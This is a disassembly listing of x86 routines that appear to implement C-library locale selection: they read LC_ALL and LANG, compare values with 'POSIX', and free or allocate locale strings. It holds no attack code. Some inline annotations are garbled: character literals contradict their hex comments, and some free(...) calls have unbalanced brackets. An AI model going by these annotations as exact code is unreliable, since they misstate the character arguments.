		mov	ecx, dword_0_80790BC[eax*4]
		mov	dword_0_80790BC[eax*4],	edx
		cmp	ecx, offset unk_0_806AABC
		jz	short loc_0_8062CF3
		call	free(ecx)

loc_0_8062CF3:				; CODE XREF: sub_0_8062CC8+23j
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062CC8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062CF8	proc near		; CODE XREF: sub_0_8062D4C+6DBp
					; sub_0_8062D4C+6FFp ...

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_8062D40
		mov	eax, ds:dword_0_806AA04[ebx*4]
		mov	esi, [eax]
		mov	[eax], edx
		cmp	ds:dword_0_806AAA4[ebx*4], 0
		jz	short loc_0_8062D31
		mov	eax, ds:dword_0_806AAA4[ebx*4]
		call	eax

loc_0_8062D31:				; CODE XREF: sub_0_8062CF8+2Ej
		cmp	ds:dword_0_806AA1C[ebx*4], esi
		jz	short loc_0_8062D40
		push	esi
		call	sub_0_8067040

loc_0_8062D40:				; CODE XREF: sub_0_8062CF8+19j
					; sub_0_8062CF8+40j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062CF8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062D4C	proc near		; CODE XREF: sub_0_805E110+6Cp
					; sub_0_805E954+13p

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 6
		ja	loc_0_806360C
		jnz	short loc_0_8062D6C
		mov	eax, dword_0_80790D4
		jmp	short loc_0_8062D73
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062D6C:				; CODE XREF: sub_0_8062D4C+15j
		mov	eax, dword_0_80790BC[ebx*4]

loc_0_8062D73:				; CODE XREF: sub_0_8062D4C+1Cj
		cmp	[ebp+arg_4], 0
		jz	loc_0_8063642
		cmp	[ebp+arg_4], eax
		jz	loc_0_8063642
		cmp	ebx, 6
		jnz	loc_0_8063504
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062DA7
		call	getenv('LC_ALL')
		mov	[ebp+arg_4], eax

loc_0_8062DA7:				; CODE XREF: sub_0_8062D4C+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8062DB9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	loc_0_8062EB4

loc_0_8062DB9:				; CODE XREF: sub_0_8062D4C+5Fj
		xor	ebx, ebx
		nop	

loc_0_8062DBC:				; CODE XREF: sub_0_8062D4C+15Dj
		call	getenv(dword_0_806aa34[ebx*4])
		mov	[ebp+arg_4], eax
		test	eax, eax
		jz	short loc_0_8062DD8
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062DE8

loc_0_8062DD8:				; CODE XREF: sub_0_8062D4C+85j
		call	getenv('LANG')
		mov	[ebp+arg_4], eax

loc_0_8062DE8:				; CODE XREF: sub_0_8062D4C+8Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8062DF6
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062E00

loc_0_8062DF6:				; CODE XREF: sub_0_8062D4C+A0j
		mov	eax, dword_0_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_0_8062E00:				; CODE XREF: sub_0_8062D4C+A8j
		mov	eax, [ebp+arg_4]
		mov	[ebp+ebx*4+var_18], eax
		lea	edi, [ebx+1]
		call	getenv(dword_0_806aa43[edi*4])
		mov	[ebp+arg_4], eax
		test	eax, eax
		jz	short loc_0_8062E26
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062E36

loc_0_8062E26:				; CODE XREF: sub_0_8062D4C+D3j
		call	getenv('LANG')
		mov	[ebp+arg_4], eax

loc_0_8062E36:				; CODE XREF: sub_0_8062D4C+D8j
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8062E44
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062E4E

loc_0_8062E44:				; CODE XREF: sub_0_8062D4C+EEj
		mov	eax, dword_0_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_0_8062E4E:				; CODE XREF: sub_0_8062D4C+F6j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		lea	edi, [ebx+2]
		call	getenv(dword_0_806aa34[edi*4])
		mov	[ebp+arg_4], eax
		test	eax, eax
		jz	short loc_0_8062E74
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062E84

loc_0_8062E74:				; CODE XREF: sub_0_8062D4C+121j
		call	getenv('LANG')
		mov	[ebp+arg_4], eax

loc_0_8062E84:				; CODE XREF: sub_0_8062D4C+126j
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8062E92
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8062E9C

loc_0_8062E92:				; CODE XREF: sub_0_8062D4C+13Cj
		mov	eax, dword_0_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_0_8062E9C:				; CODE XREF: sub_0_8062D4C+144j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		add	ebx, 3
		cmp	ebx, 5
		jle	loc_0_8062DBC
		jmp	loc_0_80633ED
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8062EB4:				; CODE XREF: sub_0_8062D4C+67j
		mov	edi, strlen(arg_4)+1
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	ebx, 6
		call	strchr(eax,'m')	;  3Bh
		mov	[ebp+var_3C], eax
		test	eax, eax
		jz	loc_0_80633ED
		lea	eax, [edi+3]
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_44], esp
		call	memcpy(var_44,arg_4,edi)

loc_0_8062F10:				; CODE XREF: sub_0_8062D4C+2C2j
					; sub_0_8062D4C+2EEj
		call	strchr(var_44,'o') ; 3Dh
		mov	[ebp+var_3C], eax
		test	eax, eax
		jz	loc_0_8063040
		mov	[ebp+var_40], 0
		sub	eax, esi
		cmp	ds:dword_0_806AA8C, eax
		jnz	short loc_0_8062F50
		mov	esi, ds:dword_0_806AA34
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	loc_0_8063000

loc_0_8062F50:				; CODE XREF: sub_0_8062D4C+1ECj
		mov	[ebp+var_40], 1
		cmp	ds:dword_0_806AA90, eax
		jnz	short loc_0_8062F75
		mov	esi, ds:dword_0_806AA38
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	loc_0_8063000

loc_0_8062F75:				; CODE XREF: sub_0_8062D4C+211j
		mov	[ebp+var_40], 2
		cmp	ds:dword_0_806AA94, eax
		jnz	short loc_0_8062F96
		mov	esi, ds:dword_0_806AA3C
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8063000

loc_0_8062F96:				; CODE XREF: sub_0_8062D4C+236j
		mov	[ebp+var_40], 3
		cmp	ds:dword_0_806AA98, eax
		jnz	short loc_0_8062FB7
		mov	esi, ds:dword_0_806AA40
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8063000

loc_0_8062FB7:				; CODE XREF: sub_0_8062D4C+257j
		mov	[ebp+var_40], 4
		cmp	ds:dword_0_806AA9C, eax
		jnz	short loc_0_8062FD8
		mov	esi, ds:dword_0_806AA44
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8063000

loc_0_8062FD8:				; CODE XREF: sub_0_8062D4C+278j
		mov	[ebp+var_40], 5
		cmp	ds:dword_0_806AAA0, eax
		jnz	short loc_0_8062FF9
		mov	esi, ds:dword_0_806AA48
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8063000

loc_0_8062FF9:				; CODE XREF: sub_0_8062D4C+299j
		mov	[ebp+var_40], 6

loc_0_8063000:				; CODE XREF: sub_0_8062D4C+1FEj
					; sub_0_8062D4C+223j ...
		cmp	[ebp+var_40], 6
		jz	loc_0_806360C
		cmp	[ebp+var_40], 5
		jg	loc_0_8062F10
		inc	[ebp+var_3C]
		call	strchr(var_3C,3Bh)
		mov	edx, [ebp+var_3C]
		mov	esi, [ebp+var_40]
		mov	[ebp+esi*4+var_18], edx
		test	eax, eax
		jz	short loc_0_8063040
		mov	byte ptr [eax],	0
		inc	eax
		mov	[ebp+var_44], eax
		jmp	loc_0_8062F10
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063040:				; CODE XREF: sub_0_8062D4C+1D7j
					; sub_0_8062D4C+2E5j
		mov	[ebp+var_40], 0
		mov	eax, [ebp+arg_4]
		lea	esi, [esi]

loc_0_806304C:				; CODE XREF: sub_0_8062D4C+314j
		mov	esi, [ebp+var_40]
		cmp	[ebp+esi*4+var_18], eax
		jz	loc_0_806360C
		inc	esi
		mov	[ebp+var_40], esi
		cmp	esi, 5
		jle	short loc_0_806304C
		jmp	loc_0_80633ED
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063068:				; CODE XREF: sub_0_8062D4C+6A6j
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	loc_0_80632BC
		lea	eax, [ebp+ebx*4+var_18]
		push	eax
		push	ebx
		call	sub_0_8066BFC
		mov	[ebp+ebx*4+var_30], eax
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80630AC
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_0_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_0_80633ED
		dec	ebx
		jmp	short loc_0_80630F4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80630AC:				; CODE XREF: sub_0_8062D4C+33Ej
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset unk_0_806AABE
		mov	ecx, 2
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_80630D6
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld	
		test	al, 0
		repe cmpsb
		jnz	short loc_0_80630F4

loc_0_80630D6:				; CODE XREF: sub_0_8062D4C+373j
		cmp	[ebp+ebx*4+var_30], 0
		jnz	loc_0_80632FD
		mov	eax, ds:dword_0_806AA1C[ebx*4]
		mov	[ebp+ebx*4+var_30], eax
		jmp	loc_0_80632FD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80630F4:				; CODE XREF: sub_0_8062D4C+35Cj
					; sub_0_8062D4C+388j ...
		inc	ebx
		cmp	ebx, 5
		jg	loc_0_8063616
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_0_806318B
		test	eax, eax
		jz	loc_0_80631CC
		cmp	eax, 1
		jle	short loc_0_806318B
		cmp	eax, 2
		jle	short loc_0_8063155
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_8063136
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_8063136:				; CODE XREF: sub_0_8062D4C+3DBj
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_0_8063154
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063154
		call	free([ebp+ebx*4+var_18])

loc_0_8063154:				; CODE XREF: sub_0_8062D4C+3EFj
					; sub_0_8062D4C+3F9j
		inc	ebx

loc_0_8063155:				; CODE XREF: sub_0_8062D4C+3D1j
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_806316C
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_806316C:				; CODE XREF: sub_0_8062D4C+411j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_0_806318A
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_806318A
		call	free([ebp+ebx*4+var_18])

loc_0_806318A:				; CODE XREF: sub_0_8062D4C+425j
					; sub_0_8062D4C+42Fj
		inc	ebx

loc_0_806318B:				; CODE XREF: sub_0_8062D4C+3BFj
					; sub_0_8062D4C+3CCj
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_80631A2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_80631A2:				; CODE XREF: sub_0_8062D4C+447j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_0_80631C0
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_80631C0
		call	free([ebp+ebx*4+var_18])

loc_0_80631C0:				; CODE XREF: sub_0_8062D4C+45Bj
					; sub_0_8062D4C+465j
		inc	ebx
		cmp	ebx, 5
		jg	loc_0_8063616
		lea	esi, [esi]

loc_0_80631CC:				; CODE XREF: sub_0_8062D4C+3C3j
					; sub_0_8062D4C+563j
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_80631E3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_80631E3:				; CODE XREF: sub_0_8062D4C+488j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_0_8063201
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063201
		call	free([ebp+ebx*4+var_18])

loc_0_8063201:				; CODE XREF: sub_0_8062D4C+49Cj
					; sub_0_8062D4C+4A6j
		lea	edi, [ebx+1]
		cmp	ds:dword_0_806AA04[edi*4], 0
		jz	short loc_0_806321B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_806321B:				; CODE XREF: sub_0_8062D4C+4C0j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_0_8063239
		cmp	[ebp+edi*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063239
		call	free([ebp+edi*4+var_18])

loc_0_8063239:				; CODE XREF: sub_0_8062D4C+4D4j
					; sub_0_8062D4C+4DEj
		lea	edi, [ebx+2]
		cmp	ds:dword_0_806AA04[edi*4], 0
		jz	short loc_0_8063253
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_8063253:				; CODE XREF: sub_0_8062D4C+4F8j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_0_8063271
		cmp	[ebp+edi*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063271
		call	free([ebp+edi*4+var_18])

loc_0_8063271:				; CODE XREF: sub_0_8062D4C+50Cj
					; sub_0_8062D4C+516j
		lea	edi, [ebx+3]
		cmp	ds:dword_0_806AA04[edi*4], 0
		jz	short loc_0_806328B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_0_8067040
		add	esp, 4

loc_0_806328B:				; CODE XREF: sub_0_8062D4C+530j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_0_80632A9
		cmp	[ebp+edi*4+var_18], offset unk_0_806AABC
		jz	short loc_0_80632A9
		call	free([ebp+edi*4+var_18])

loc_0_80632A9:				; CODE XREF: sub_0_8062D4C+544j
					; sub_0_8062D4C+54Ej
		add	ebx, 4
		cmp	ebx, 5
		jle	loc_0_80631CC
		jmp	loc_0_8063616
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80632BC:				; CODE XREF: sub_0_8062D4C+324j
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_0_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_0_80633ED
		xor	esi, esi
		mov	edi, offset unk_0_806AABE
		mov	ecx, 2
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_80632FD
		xor	esi, esi
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld	
		test	al, 0
		repe cmpsb
		jnz	short loc_0_806330C

loc_0_80632FD:				; CODE XREF: sub_0_8062D4C+38Fj
					; sub_0_8062D4C+3A0j ...
		mov	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jmp	loc_0_80633ED
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806330C:				; CODE XREF: sub_0_8062D4C+5AFj
		inc	ebx
		cmp	ebx, 5
		jg	loc_0_80633ED
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_0_8063363
		test	eax, eax
		jz	short loc_0_8063380
		cmp	eax, 1
		jle	short loc_0_8063363
		cmp	eax, 2
		jle	short loc_0_806334B
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_806334A
		call	free([ebp+ebx*4+var_18])

loc_0_806334A:				; CODE XREF: sub_0_8062D4C+5EFj
		inc	ebx

loc_0_806334B:				; CODE XREF: sub_0_8062D4C+5E5j
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063362
		call	free(ebp+ebx*4+var_18])

loc_0_8063362:				; CODE XREF: sub_0_8062D4C+607j
		inc	ebx

loc_0_8063363:				; CODE XREF: sub_0_8062D4C+5D7j
					; sub_0_8062D4C+5E0j
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_806337A
		call	free(ebp+ebx*4+var_18])

loc_0_806337A:				; CODE XREF: sub_0_8062D4C+61Fj
		inc	ebx
		cmp	ebx, 5
		jg	short loc_0_80633ED

loc_0_8063380:				; CODE XREF: sub_0_8062D4C+5DBj
					; sub_0_8062D4C+69Fj
		cmp	[ebp+ebx*4+var_18], offset unk_0_806AABC
		jz	short loc_0_8063397
		call	free([ebp+ebx*4+var_18])

loc_0_8063397:				; CODE XREF: sub_0_8062D4C+63Cj
		lea	eax, [ebx+1]
		cmp	[ebp+eax*4+var_18], offset unk_0_806AABC
		jz	short loc_0_80633B1
		call	free([ebp+eax*4+var_18])

loc_0_80633B1:				; CODE XREF: sub_0_8062D4C+656j
		lea	eax, [ebx+2]
		cmp	[ebp+eax*4+var_18], offset unk_0_806AABC
		jz	short loc_0_80633CB
		call	free([ebp+eax*4+var_18])

loc_0_80633CB:				; CODE XREF: sub_0_8062D4C+670j
		lea	eax, [ebx+3]
		cmp	[ebp+eax*4+var_18], offset unk_0_806AABC
		jz	short loc_0_80633E5
		call	free([ebp+eax*4+var_18])

loc_0_80633E5:				; CODE XREF: sub_0_8062D4C+68Aj
		add	ebx, 4
		cmp	ebx, 5
		jle	short loc_0_8063380

loc_0_80633ED:				; CODE XREF: sub_0_8062D4C+163j
					; sub_0_8062D4C+1A3j ...
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	loc_0_8063068
		lea	eax, [ebp+var_18]
		push	eax
		push	6
		mov	ecx, ebp
		call	sub_0_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_806341C
		mov	ebx, 0FFFFFFFFh
		jmp	loc_0_80630F4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806341C:				; CODE XREF: sub_0_8062D4C+6C1j
		xor	ebx, ebx
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	ebx, 1
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	ebx, 2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	ebx, 3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	ebx, 4
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	ebx, 5
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_0_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_0_8062CC8
		add	esp, 10h
		mov	edx, [ebp+var_38]
		push	edx
		mov	ecx, ebp
		call	sub_0_8062C9C
		mov	eax, [ebp+var_38]
		jmp	loc_0_8063642
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063504:				; CODE XREF: sub_0_8062D4C+3Dj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8063550
		call	getenv(dword_0_806aa43[ebx*4])
		mov	[ebp+arg_4], eax
		test	eax, eax
		jz	short loc_0_8063528
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8063538

loc_0_8063528:				; CODE XREF: sub_0_8062D4C+7D5j
		call	getenv('LANG')
		mov	[ebp+arg_4], eax

loc_0_8063538:				; CODE XREF: sub_0_8062D4C+7DAj
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8063546
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8063550

loc_0_8063546:				; CODE XREF: sub_0_8062D4C+7F0j
		mov	eax, dword_0_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_0_8063550:				; CODE XREF: sub_0_8062D4C+7BEj
					; sub_0_8062D4C+7F8j
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, ebp
		call	sub_0_80628F8
		mov	[ebp+var_34], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_8063594
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_0_806AABE
		mov	ecx, 2
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_806358D
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld	
		test	al, 0
		repe cmpsb
		jnz	short loc_0_806360C

loc_0_806358D:				; CODE XREF: sub_0_8062D4C+82Bj
		mov	[ebp+var_34], offset unk_0_806AABC

loc_0_8063594:				; CODE XREF: sub_0_8062D4C+817j
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_0_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_80635C0
		cmp	[ebp+var_34], offset unk_0_806AABC
		jz	short loc_0_806360C
		call	free(var_34)
		jmp	short loc_0_806360C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80635C0:				; CODE XREF: sub_0_8062D4C+85Cj
		cmp	ds:dword_0_806AA04[ebx*4], 0
		jz	short loc_0_8063628
		lea	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_0_8066BFC
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_806361C
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_0_806AABE
		mov	ecx, 2
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8063603
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld	
		test	al, 0
		repe cmpsb
		jnz	short loc_0_806360C

loc_0_8063603:				; CODE XREF: sub_0_8062D4C+8A1j
		mov	eax, ds:dword_0_806AA1C[ebx*4]
		jmp	short loc_0_806361C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806360C:				; CODE XREF: sub_0_8062D4C+Fj
					; sub_0_8062D4C+2B8j ...
		mov	errno, 16h

loc_0_8063616:				; CODE XREF: sub_0_8062D4C+3ACj
					; sub_0_8062D4C+478j ...
		xor	eax, eax
		jmp	short loc_0_8063642
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806361C:				; CODE XREF: sub_0_8062D4C+88Dj
					; sub_0_8062D4C+8BEj
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_0_8062CF8
		add	esp, 8

loc_0_8063628:				; CODE XREF: sub_0_8062D4C+87Cj
		mov	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_0_8062CC8
		mov	esi, [ebp+var_38]
		push	esi
		mov	ecx, ebp
		call	sub_0_8062C9C
		mov	eax, [ebp+var_34]

loc_0_8063642:				; CODE XREF: sub_0_8062D4C+2Bj
					; sub_0_8062D4C+34j ...
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062D4C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063664	proc near		; CODE XREF: sub_0_8063688+Fp
					; sub_0_8063958+8p
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_0_807E750, 0
		jnz	short loc_0_806367F
		call	malloc(256)
		mov	ds:dword_0_807E750, eax

loc_0_806367F:				; CODE XREF: sub_0_8063664+Aj
		mov	eax, ds:dword_0_807E750
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063664	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063688	proc near		; CODE XREF: sub_0_8063894+Bp

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		call	sub_0_8063664
		mov	[ebp+var_10], eax
		mov	ebx, [ebp+var_10]
		test	ebx, ebx
		jnz	short loc_0_80636B0
		xor	eax, eax
		jmp	loc_0_8063888
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80636B0:				; CODE XREF: sub_0_8063688+1Cj
		mov	edx, [esi+4]
